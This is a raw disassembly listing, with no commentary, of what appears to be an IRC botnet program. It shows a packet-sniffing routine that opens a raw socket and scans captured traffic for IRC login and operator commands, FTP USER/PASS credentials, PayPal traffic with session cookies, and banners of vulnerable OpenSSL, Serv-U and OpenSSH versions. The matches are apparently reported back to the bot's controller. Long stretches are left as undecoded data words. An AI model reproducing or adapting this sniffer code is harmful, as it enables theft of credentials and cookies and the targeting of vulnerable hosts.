dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh, 50000000h
dd 2C15FF56h, 0FF004CB6h, 4589C875h, 0E015FFF8h, 50004CB6h
dd 50B0458Dh, 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h
dd 80000001h, 0FFFF31BDh, 850F01FFh, 0BBh, 0FD94858Dh
dd 0E850FFFFh, 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h
dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
dd 96E0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0B6B815FFh, 458D004Ch
dd 858D50B0h, 0FFFFF888h, 434D8C68h, 17E85000h, 8300009Eh
dd 9D390CC4h, 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh
dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh
dd 0C483FFFFh, 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h
dd 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah
dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h
dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
dd 0FC75FF50h, 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
dd 0EFE85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6B815h
dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434D6Ch
dd 9D20E850h, 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h
dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
dd 0FFFFFC8Ch, 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
dd 360Dh, 0E15C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
dd 68096A53h, 434D60h, 0B815FF56h, 39004CB6h, 8F0FF85Dh
dd 0FFFFFD5Fh, 56087D8Bh, 0B6EC15FFh, 75FF004Ch, 9481E8FCh
dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
dd 0E8FFFFFEh, 0FFFF981Fh, 0E8905359h, 22CE404h, 3E868h
dd 0F9E89000h, 570226E3h, 0FFFB8AE8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp-10h]
push esi
push eax
call near ptr 2770584h
nop
lea eax, [ebp-114h]
push 104h
push eax
call near ptr 2670A78h
nop
lea eax, [ebp-114h]
push offset asc_43554C ; "\\"
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset dword_42911C
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset aAb ; "ab"
push eax
call sub_41B4C2
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_411C7B
push 1
pop eax
jmp short loc_411CF2
; ---------------------------------------------------------------------------
loc_411C7B: ; CODE XREF: ___:00411C74j
movzx eax, word ptr [ebp-4]
push dword ptr [ebp+8]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-10h]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41BE06
push esi
call sub_41B05B
add esp, 28h
cmp dword ptr [ebp+98h], 0
jnz short loc_411CF0
push dword ptr [ebp+8]
lea eax, [ebp-314h]
push offset dword_43551C
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-314h]
push dword ptr [ebp+94h]
push eax
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
call sub_409A73
add esp, 24h
loc_411CF0: ; CODE XREF: ___:00411CB7j
xor eax, eax
loc_411CF2: ; CODE XREF: ___:00411C79j
pop esi
leave
retn
; ---------------------------------------------------------------------------
byte_411CF5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4509o
dd 8DCEC81h, 458B0000h, 57565308h, 0F724A583h, 6A00FFFFh
dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h
dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h
dd 0D815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h, 0F015FFF8h
dd 0BB004CB5h, 200h, 0A9E8086Ah, 900226E2h, 0B5D815FFh
dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0F015FFF8h
dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh, 0FFFFFB24h
dd 43557C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h
dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h
dd 4589FFFFh, 858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h
dd 0A4C481h, 858D0000h, 0FFFFFB24h, 50006A53h, 97BBE8h
dd 0CC48300h, 0B40845C7h, 6A00434Dh, 2815FF10h, 0F004CB5h
dd 458BF0BFh, 0FC788B08h, 2015FF57h, 0F6004CB6h, 7B7480C4h
dd 15FF146Ah, 4CB528h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh
dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h
dd 17Fh, 15FF146Ah, 4CB528h, 74C08566h, 7DF6851Eh, 40FF832Eh
dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h
dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h
dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h
dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h
dd 208300h, 0FD24858Dh, 0FF83FFFFh, 13755008h, 913FE8h
dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch
dd 1B93Dh, 25765900h, 0B5D815FFh, 4D8D004Ch, 513C6AB8h
dd 0F015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 646850FFh
dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h
dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5D815h
dd 0B84D8D00h, 50513C6Ah, 0B5F015FFh, 458D004Ch, 858D50B8h
dd 0FFFFFD24h, 55506850h, 858D0043h, 0FFFFFB24h, 9958E850h
dd 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh, 0FFFFFB24h
dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h
dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h
dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh
dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah
dd 458B07EBh, 7C08308h, 24858D50h, 50FFFFFDh, 9F1BE8h
dd 83595900h, 81140845h, 54E4087Dh, 8C0F0043h, 0FFFFFE27h
dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h
dd 6A59FFh, 2CE02BE8h
db 2, 90h
word_411FD6 dw 8B55h ; DATA XREF: sub_401ACD+412Bo
dd 2B4B8ECh, 3DE80001h, 8B00009Bh, 57560855h, 8B58016Ah
dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h, 9082h
dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h, 0C7660CC4h
dd 2E445h, 5415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh
dd 8BE2E8E6h, 5059FFFFh, 0B69415FFh, 6A56004Ch, 89026A03h
dd 15FFE845h, 4CB6D4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h
dd 4CB5E8h, 4C858D50h, 68FFFFFDh, 435EECh, 9820E850h, 0C4830000h
dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h
dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h
dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h, 5959FFFFh
dd 55E89056h, 8B022CDFh, 106AD045h, 234C069h, 0B8890000h
dd 43E59Ch, 50E4458Dh, 8015FF57h, 83004CB6h, 6475FFF8h
dd 0B5E815FFh, 8D50004Ch, 0FFFD4C85h, 5EC068FFh, 0E8500043h
dd 97A2h, 390CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh
dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h
dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h
dd 4CB6ECh, 0E8D075FFh, 0FFFF92EBh, 0E8905659h, 22CDED0h
dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h
dd 0B60015FFh, 0F883004Ch, 0FF6475FFh, 4CB5E815h, 858D5000h
dd 0FFFFFD4Ch, 435E9068h, 1FE85000h, 83000097h, 75390CC4h
dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h
dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h
dd 12E850FFh, 59000030h, 0EC15FF57h, 0FF004CB6h, 68E8D075h
dd 59FFFF92h, 4DE89056h, 53022CDEh, 4355A8BBh, 0FFFFBF00h
dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h
dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB66C15h, 0FFF88300h
dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h, 0FEFD5885h
dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh
dd 435E84h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh
dd 7468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h
dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h
dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh, 458B1808h
dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h
dd 8415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h, 4CB6E0h
dd 7F048D50h, 0BCC5048Bh, 0FF004355h, 55988534h, 858D0043h
dd 0FFFFFD4Ch, 435E4068h, 2006800h, 0E8500000h, 96D4h
dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh, 8D50D475h
dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh
dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh
dd 4CB5E8h, 5E146850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h
dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh
dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h
dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h
dd 0B6EC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh, 0DCAEE890h
; ---------------------------------------------------------------------------
sub al, 2
; =============== S U B R O U T I N E =======================================
sub_412352 proc near ; CODE XREF: sub_412661+213p
; sub_412661+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE3C0, eax
mov eax, offset dword_4CE3C0
retn
sub_412352 endp
; =============== S U B R O U T I N E =======================================
sub_412361 proc near ; CODE XREF: sub_412661+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41237B
loc_412377: ; CODE XREF: sub_412361+29j
; sub_412361+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41237B: ; CODE XREF: sub_412361+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412377
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412377
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412377
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4123C3
loc_4123BF: ; CODE XREF: sub_412361+71j
; sub_412361+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4123C3: ; CODE XREF: sub_412361+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a366 ; "366 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a_login_0 ; ":.login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset aLogin_1 ; ":!login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset aLogin_0 ; ":!Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a_login ; ":.Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset a_ident ; ":.ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BF
push offset aIdent_0 ; ":!ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BF
push offset a_hashin ; ":.hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BF
push offset aHashin ; ":!hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412361 endp
; =============== S U B R O U T I N E =======================================
sub_412478 proc near ; CODE XREF: sub_412661+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412492
loc_41248E: ; CODE XREF: sub_412478+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412492: ; CODE XREF: sub_412478+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41248E
push offset aOper_0 ; "OPER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4124B8
loc_4124B4: ; CODE XREF: sub_412478+4Fj
; sub_412478+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4124B8: ; CODE XREF: sub_412478+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B4
push offset aOper ; "oper "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B4
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412478 endp
; =============== S U B R O U T I N E =======================================
sub_4124EE proc near ; CODE XREF: sub_412661+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412508
loc_412504: ; CODE XREF: sub_4124EE+29j
; sub_4124EE+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412508: ; CODE XREF: sub_4124EE+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412504
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412504
push offset a220 ; "220 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41253F
loc_41253B: ; CODE XREF: sub_4124EE+60j
; sub_4124EE+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41253F: ; CODE XREF: sub_4124EE+4Bj
push offset a230 ; "230 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253B
push offset aUser_3 ; "USER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253B
push offset aPass_1 ; "PASS "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4124EE endp
; =============== S U B R O U T I N E =======================================
sub_412575 proc near ; CODE XREF: sub_412661+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41258F
loc_41258B: ; CODE XREF: sub_412575+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41258F: ; CODE XREF: sub_412575+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41258B
push offset aPaypal ; "paypal"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4125B5
loc_4125B1: ; CODE XREF: sub_412575+4Fj
; sub_412575+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4125B5: ; CODE XREF: sub_412575+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B1
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B1
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B1
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412575 endp
; =============== S U B R O U T I N E =======================================
sub_4125FC proc near ; CODE XREF: sub_412661:loc_412A26p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412616
loc_412612: ; CODE XREF: sub_4125FC+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412616: ; CODE XREF: sub_4125FC+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412612
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41263C
loc_412638: ; CODE XREF: sub_4125FC+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41263C: ; CODE XREF: sub_4125FC+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412638
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4125FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412661 proc near ; DATA XREF: sub_401ACD+427Do
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB668
lea eax, [ebp+var_3B8]
push eax
call dword_4CB6D8
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41C310
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CB6D4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_412707
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412707: ; CODE XREF: sub_412661+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CB680
cmp eax, 0FFFFFFFFh
jnz short loc_41277D
call dword_4CB5E8
push eax
lea eax, [ebp+var_2B8]
push offset unk_4361C0
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_412759
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A73
add esp, 14h
loc_412759: ; CODE XREF: sub_412661+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC
push [ebp+var_34]
call sub_40B413
pop ecx
push ebx
nop
call near ptr 26E0000h
loc_41277D: ; CODE XREF: sub_412661+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB600
cmp eax, 0FFFFFFFFh
jnz short loc_412803
call dword_4CB5E8
push eax
lea eax, [ebp+var_2B8]
push offset unk_436190
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4127DF
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A73
add esp, 14h
loc_4127DF: ; CODE XREF: sub_412661+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC
push [ebp+var_34]
call sub_40B413
pop ecx
push ebx
nop
call near ptr 26E0000h
loc_412803: ; CODE XREF: sub_412661+13Cj
mov esi, 200h
loc_412808: ; CODE XREF: sub_412661+1D6j
; sub_412661+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB66C
cmp [ebp+var_113AF], 6
jnz short loc_412808
push [ebp+var_113A4]
mov edi, dword_4271E4
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_412808
cmp [ebp+arg_0], 19h
jz short loc_412808
cmp edi, 6Eh
jz short loc_412808
cmp edi, 19h
jz short loc_412808
push [ebp+var_113AC]
call sub_412352
pop ecx
push dword ptr [eax]
call near ptr 71AB401Ch
nop
push eax
lea eax, [ebp+var_13B8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+var_113A8]
call sub_412352
add esp, 10h
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_BB8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jle short loc_412906
loc_4128D2: ; CODE XREF: sub_412661+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_4128E9
mov byte ptr [eax], 20h
loc_4128E9: ; CODE XREF: sub_412661+283j
cmp byte ptr [eax], 0Ah
jnz short loc_4128F1
mov byte ptr [eax], 20h
loc_4128F1: ; CODE XREF: sub_412661+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41AFE0
cmp [ebp+var_4], eax
pop ecx
jl short loc_4128D2
loc_412906: ; CODE XREF: sub_412661+26Fj
cmp [ebp+arg_0], 50h
jz loc_4129B9
cmp edi, 50h
jz loc_4129B9
lea eax, [ebp+var_1138C]
push eax
call sub_412361
test al, al
pop ecx
jz short loc_41294D
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43615C
jmp loc_4129E8
; ---------------------------------------------------------------------------
loc_41294D: ; CODE XREF: sub_412661+2C7j
cmp edi, 50h
jz short loc_4129B9
lea eax, [ebp+var_1138C]
push eax
call sub_412478
test al, al
pop ecx
jz short loc_412983
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_436128
jmp short loc_4129E8
; ---------------------------------------------------------------------------
loc_412983: ; CODE XREF: sub_412661+300j
cmp edi, 50h
jz short loc_4129B9
lea eax, [ebp+var_1138C]
push eax
call sub_4124EE
test al, al
pop ecx
jz short loc_4129B9
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4360F4
jmp short loc_4129E8
; ---------------------------------------------------------------------------
loc_4129B9: ; CODE XREF: sub_412661+2A9j
; sub_412661+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_412575
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_412A26
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_4360BC
loc_4129E8: ; CODE XREF: sub_412661+2E7j
; sub_412661+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41B980
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_412808
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A73
add esp, 14h
jmp loc_412808
; ---------------------------------------------------------------------------
loc_412A26: ; CODE XREF: sub_412661+36Ej
call sub_4125FC
test al, al
pop ecx
jz loc_412808
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_436084
jmp short loc_4129E8
sub_412661 endp
; ---------------------------------------------------------------------------
dword_412A54 dd 81EC8B55h, 494ECh, 8458B00h, 0A5B95756h, 8B000000h
; DATA XREF: sub_401ACD+6543o
dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 90000000h
dd 27E024E8h, 51E85002h, 8D00008Eh, 0FFFE7485h, 858D50FFh
dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
dd 398h, 5014C483h, 0FB6C858Dh, 0EC68FFFFh, 50004361h
dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh
dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h, 0E8FFFFFDh
dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h
dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 0F9E89056h, 5F022CD4h
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B09 proc near ; CODE XREF: ___:00412E80p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
